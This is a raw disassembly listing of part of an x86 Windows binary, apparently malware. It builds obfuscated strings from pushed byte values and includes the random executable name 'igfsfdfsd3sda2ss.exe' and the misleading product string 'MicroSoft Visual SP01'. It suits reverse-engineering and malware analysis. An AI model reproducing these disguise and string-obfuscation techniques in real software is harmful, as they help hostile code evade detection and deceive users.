call sub_40202C
push offset byte_448F40
lea ecx, [esp+360h+var_1BC]
call sub_401A9B
push offset aFor_0 ; "##for##"
lea ecx, [esp+360h+var_2AC]
call sub_401A9B
push offset aFor ; "##for"
lea ecx, [esp+360h+var_24C]
call sub_401A9B
push offset aXkey ; "Xkey"
lea ecx, [esp+360h+var_2F4]
call sub_401A9B
push offset aIgfsfdfsd3sda2 ; "igfsfdfsd3sda2ss.exe"
lea ecx, [esp+360h+var_1D4]
call sub_401A9B
push offset aAyssds4ddklfsd ; "ayssds4ddklfsdsdsfssas"
lea ecx, [esp+360h+var_204]
call sub_401A9B
push offset asc_444834 ; "X-"
lea ecx, [esp+360h+var_294]
call sub_401A9B
push offset aSet ; "set"
lea ecx, [esp+360h+var_234]
call sub_401A9B
push 0
push 4Ah
push 20h
push 48h
push 1Ch
push 4Bh
push 46h
push 4Ah
push 46h
push 47h
push 4Ch
push 1Fh
push 48h
push 1Fh
push ebx
push 1Bh
push 1Dh
push 47h
push 4Bh
push 47h
push ebx
push 45h
push 46h
push 4Ah
push 48h
push ebx
push 1Dh
push 1Ch
push 4Ah
push 20h
push 4Ch
push 4Dh
lea edx, [esp+3DCh+var_348]
push 44h
push edx
call sub_4019C4
add esp, 88h
push eax
lea ecx, [esp+360h+var_264]
mov byte ptr [esp+360h+var_4], 1Fh
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push offset aFeeling_nasty ; "feeling.nasty"
lea ecx, [esp+360h+var_E4]
call sub_401A9B
push offset aEvil ; "evil"
lea ecx, [esp+360h+var_15C]
call sub_401A9B
push offset aMicrosoftVisua ; "MicroSoft Visual SP01"
lea ecx, [esp+360h+var_114]
call sub_401A9B
push offset dword_4447F8
lea ecx, [esp+360h+var_27C]
call sub_401A9B
push 0
push 4Bh
push 48h
push 4Ah
push 47h
push 4Ch
push 48h
push 4Bh
push 48h
push 45h
lea eax, [esp+384h+var_348]
push 46h
push eax
call sub_4019C4
add esp, 30h
push eax
lea ecx, [esp+360h+var_18C]
mov byte ptr [esp+360h+var_4], 20h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 0Dh
push 0Fh
push 3
push 4Fh
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 0Dh
push 4Fh
push 45h
push 19h
push 14h
push 0Fh
push 2
push 12h
lea ecx, [esp+3B0h+var_348]
push 13h
push ecx
call sub_4019C4
add esp, 5Ch
push eax
lea ecx, [esp+360h+var_1EC]
mov byte ptr [esp+360h+var_4], 21h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_CC]
mov byte ptr [esp+360h+var_4], 22h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea eax, [esp+36Ch+var_348]
push 45h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_B4]
mov byte ptr [esp+360h+var_4], 23h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 44h
push 49h
lea ecx, [esp+368h+var_348]
push 46h
push ecx
call sub_4019C4
add esp, 14h
push eax
lea ecx, [esp+360h+var_21C]
mov byte ptr [esp+360h+var_4], 24h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 48h
push 46h
push 44h
lea edx, [esp+36Ch+var_348]
push 45h
push edx
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_9C]
mov byte ptr [esp+360h+var_4], 25h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 15h
push 12h
lea eax, [esp+36Ch+var_348]
push 14h
push eax
call sub_4019C4
add esp, 18h
push eax
lea ecx, [esp+360h+var_330]
mov byte ptr [esp+360h+var_4], 26h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
push 0
push 5
push 13h
push 0Ch
push 1
lea ecx, [esp+370h+var_348]
push 6
push ecx
call sub_4019C4
add esp, 1Ch
push eax
lea ecx, [esp+360h+var_318]
mov byte ptr [esp+360h+var_4], 27h
call sub_40202C
lea ecx, [esp+35Ch+var_348]
mov byte ptr [esp+35Ch+var_4], bl
call sub_401226
lea ecx, [esp+35Ch+var_2F4]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+374h+var_34C], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
mov byte ptr [esp+398h+var_4], 28h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+3D0h+var_348]
push 13h
push edx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+374h+var_4], 29h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+38Ch+var_350], esp
push eax
call sub_401870
lea eax, [esi+0FECh]
mov ecx, esi
push eax
mov byte ptr [esp+390h+var_4], 2Ah
call sub_401CD5
sub_4077E0 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 2Bh
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 2Ch
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1035h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 2Dh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+80h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+78h]
push 13h
push eax
mov byte ptr [esp+3C4h], 2Eh
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 2Fh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+0FA3h]
mov byte ptr [esp+388h], 30h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+98h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
mov byte ptr [esp+398h], 31h
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+80h]
push 13h
push edx
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 32h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F5Ah]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 33h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+90h]
push 13h
push ecx
mov byte ptr [esp+3DCh], 34h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 35h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+0E7Fh]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 36h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+218h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+88h]
push 13h
push edx
mov byte ptr [esp+3D4h], 37h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 38h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+0F11h]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 39h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
mov byte ptr [esp+38Ch], 3Ah
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+84h]
push 13h
push ecx
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 3Bh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+107Eh]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Ch
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea eax, [esp+10h]
mov ecx, offset byte_4D835F
push eax
mov [esp+14h], edi
call sub_401A73
lea ecx, [esp+68h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 13h
push 13h
push 1
push 10h
push 0Eh
push 1
push 8
push 3
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
mov byte ptr [esp+3D4h], 3Dh
call sub_4019C4
add esp, 64h
mov byte ptr [esp+370h], 3Eh
mov ecx, eax
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1234h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 3Fh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0B0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Eh
push 1
push 8
push 3
push 0Eh
push 9
push 1
push 0Dh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+88h]
push 13h
push eax
mov byte ptr [esp+3D4h], 40h
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 41h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+127Dh]
mov byte ptr [esp+388h], 42h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1B8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
mov byte ptr [esp+370h], 43h
push 0
push 14h
push 12h
push 0Fh
push 10h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea edx, [esp+78h]
push 13h
push edx
call sub_4019C4
add esp, 54h
mov ecx, eax
mov byte ptr [esp+370h], 44h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea eax, [esi+11EBh]
mov ecx, esi
push eax
mov byte ptr [esp+38Ch], 45h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1E8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+80h]
push 13h
push ecx
mov byte ptr [esp+3CCh], 46h
call sub_4019C4
add esp, 5Ch
mov ecx, eax
mov byte ptr [esp+370h], 47h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+11A2h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 48h
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+0C8h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 18h
push 9
push 6
push 5
push 12h
push 10h
push 0Bh
push 3
push 9
push 0Eh
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+90h]
push 13h
push eax
mov byte ptr [esp+3DCh], 49h
call sub_4019C4
add esp, 6Ch
mov ecx, eax
mov byte ptr [esp+370h], 4Ah
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edi, [esi+10C7h]
mov ecx, esi
push edi
mov byte ptr [esp+38Ch], 4Bh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+1A0h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
mov byte ptr [esp+374h], 4Ch
push 13h
push 13h
push 1
push 10h
push 16h
push 12h
push 5
push 13h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea ecx, [esp+88h]
push 13h
push ecx
call sub_4019C4
add esp, 64h
mov ecx, eax
mov byte ptr [esp+370h], 4Dh
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea edx, [esi+1159h]
mov ecx, esi
push edx
mov byte ptr [esp+38Ch], 4Eh
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
push 0
push 0Ch
push 13h
push 13h
push 3Fh
push 5
push 13h
push 15h
push 4Eh
push 14h
push 0Fh
push 0Fh
push 12h
push 3Fh
push 12h
push 5
push 16h
push 12h
push 5
push 13h
push 3Fh
push 9
lea eax, [esp+84h]
push 13h
push eax
mov byte ptr [esp+3D0h], 4Fh
call sub_4019C4
add esp, 60h
mov ecx, eax
mov byte ptr [esp+370h], 50h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+40h], esp
push eax
call sub_401870
lea ecx, [esi+12C6h]
mov byte ptr [esp+388h], 51h
push ecx
mov ecx, esi
call sub_401CD5
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esp+358h], bl
call sub_401226
lea edx, [esp+10h]
mov ecx, offset byte_4D835F
push edx
mov [esp+14h], edi
call sub_401A73
push offset byte_448F40
push offset word_4E8E6A
call sub_40102D
add esp, 8
lea ecx, [esp+230h]
call sub_40142E
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_40142E
push 56D2h
push 539h
mov byte ptr [esp+360h], 53h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea eax, [esp+23Ch]
push offset dword_4447F4
push eax
call sub_40102D
push 56D2h
push 539h
call sub_4021C6
; ---------------------------------------------------------------------------
push eax
lea ecx, [esp+280h]
push offset dword_4447F4
push ecx
call sub_40102D
add esp, 10h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+606h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+64Fh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+805h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+84Eh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+897h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+450h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+499h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+52Bh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+574h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+44h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+0B28h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+5Ch]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+8E0h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
lea edx, [esp+278h]
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+3BEh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1E8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+407h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+260h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+5BDh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+188h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+698h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+158h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+72Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+128h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+6E1h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2C0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+773h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+2A8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+7BCh]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push offset word_4E8E6A
call sub_4014D3
lea ecx, [esi+251h]
push ecx
mov ecx, esi
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+1A0h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+29Ah]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+170h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+2E3h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+0F8h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+32Ch]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
sub esp, 18h
lea edx, [esp+248h]
mov ecx, esp
mov [esp+24h], esp
push edx
call sub_4014D3
lea eax, [esi+375h]
mov ecx, esi
push eax
call sub_401B40
; ---------------------------------------------------------------------------
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
call sub_4017EE
push eax
push offset byte_4493FD
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 1B6h
call sub_4017EE
push eax
push offset dword_4493B4
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
call sub_4017EE
push eax
push offset dword_449290
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 124h
call sub_4017EE
push eax
push offset word_449322
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 0DBh
call sub_4017EE
push eax
push offset byte_4492D9
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 92h
call sub_4017EE
push eax
push offset byte_44936B
mov ecx, offset word_44ACE6
call sub_4015A0
push 0
mov ecx, offset byte_4D835F
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
call sub_4017EE
push eax
push offset byte_44948F
mov ecx, offset word_44ACE6
call sub_4015A0
lea ecx, [esp+200h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+24h], esp
push eax
call sub_401870
lea ecx, [esp+290h]
mov byte ptr [esp+370h], 54h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+94h], esp
push eax
call sub_401870
lea ecx, [esp+128h]
mov byte ptr [esp+388h], 55h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0A4h], esp
push eax
call sub_401870
lea ecx, [esp+170h]
mov byte ptr [esp+3A0h], 56h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+0C0h], esp
push eax
call sub_401870
mov ecx, offset word_44AC6E
mov byte ptr [esp+3B8h], 53h
call sub_40137F
; ---------------------------------------------------------------------------
lea ecx, [esp+260h]
mov byte ptr [esp+358h], 52h
call sub_401226
lea ecx, [esp+230h]
mov [esp+358h], bl
call sub_401226
lea ecx, [esp+44h]
mov byte ptr [esp+358h], 1Dh
call sub_401226
mov byte ptr [esp+358h], 1Ch
lea ecx, [esp+2Ch]
call sub_401226
lea ecx, [esp+110h]
mov byte ptr [esp+358h], 1Bh
call sub_401226
lea ecx, [esp+2C0h]
mov byte ptr [esp+358h], 1Ah
call sub_401226
lea ecx, [esp+2A8h]
mov byte ptr [esp+358h], 19h
call sub_401226
lea ecx, [esp+140h]
mov byte ptr [esp+358h], 18h
call sub_401226
lea ecx, [esp+290h]
mov byte ptr [esp+358h], 17h
call sub_401226
lea ecx, [esp+170h]
mov byte ptr [esp+358h], 16h
call sub_401226
lea ecx, [esp+0E0h]
mov byte ptr [esp+358h], 15h
call sub_401226
lea ecx, [esp+1A0h]
mov byte ptr [esp+358h], 14h
call sub_401226
lea ecx, [esp+218h]
mov byte ptr [esp+358h], 13h
call sub_401226
lea ecx, [esp+1D0h]
mov byte ptr [esp+358h], 12h
call sub_401226
lea ecx, [esp+248h]
mov byte ptr [esp+358h], 11h
call sub_401226
lea ecx, [esp+200h]
mov byte ptr [esp+358h], 10h
call sub_401226
lea ecx, [esp+278h]
mov byte ptr [esp+358h], 0Fh
call sub_401226
lea ecx, [esp+0F8h]
mov byte ptr [esp+358h], 0Eh
call sub_401226
lea ecx, [esp+128h]
mov byte ptr [esp+358h], 0Dh
call sub_401226
lea ecx, [esp+2F0h]
mov byte ptr [esp+358h], 0Ch
call sub_401226
lea ecx, [esp+320h]
mov byte ptr [esp+358h], 0Bh
call sub_401226
lea ecx, [esp+2D8h]
mov byte ptr [esp+358h], 0Ah
call sub_401226
lea ecx, [esp+308h]
mov byte ptr [esp+358h], 9
call sub_401226
lea ecx, [esp+338h]
mov byte ptr [esp+358h], 8
call sub_401226
lea ecx, [esp+0C8h]
mov byte ptr [esp+358h], 7
call sub_401226
lea ecx, [esp+158h]
mov byte ptr [esp+358h], 6
call sub_401226
lea ecx, [esp+188h]
mov byte ptr [esp+358h], 5
call sub_401226
lea ecx, [esp+68h]
mov byte ptr [esp+358h], 4
call sub_401226
lea ecx, [esp+0B0h]
mov byte ptr [esp+358h], 3
call sub_401226
lea ecx, [esp+1B8h]
mov byte ptr [esp+358h], 2
call sub_401226
mov byte ptr [esp+358h], 1
lea ecx, [esp+1E8h]
call sub_401226
lea ecx, [esp+80h]
mov byte ptr [esp+358h], 0
call sub_401226
lea ecx, [esp+98h]
mov dword ptr [esp+358h], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+350h]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
add esp, 350h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 5E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409530 proc near ; CODE XREF: sub_401474j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_401983
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_409548
mov ecx, esi
call sub_40191A
; ---------------------------------------------------------------------------
loc_409548: ; CODE XREF: sub_409530+Fj
mov ecx, esi
call sub_401A46
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_409530 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409570 proc near ; CODE XREF: sub_401A73j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40128A
push eax
mov ecx, esi
call sub_401695
pop esi
retn 4
sub_409570 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095A0 proc near ; CODE XREF: sub_401A46j
mov eax, [ecx+4]
retn
sub_4095A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095C0 proc near ; CODE XREF: sub_40128Aj
mov eax, [ecx+8]
retn
sub_4095C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4095E0 proc near ; CODE XREF: sub_401983j
mov edx, [ecx+4]
test edx, edx
jnz short loc_4095EA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4095EA: ; CODE XREF: sub_4095E0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_4095E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_409610 proc near ; CODE XREF: sub_401695j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401A46
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_401BAE
mov ecx, edi
call sub_401A46
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
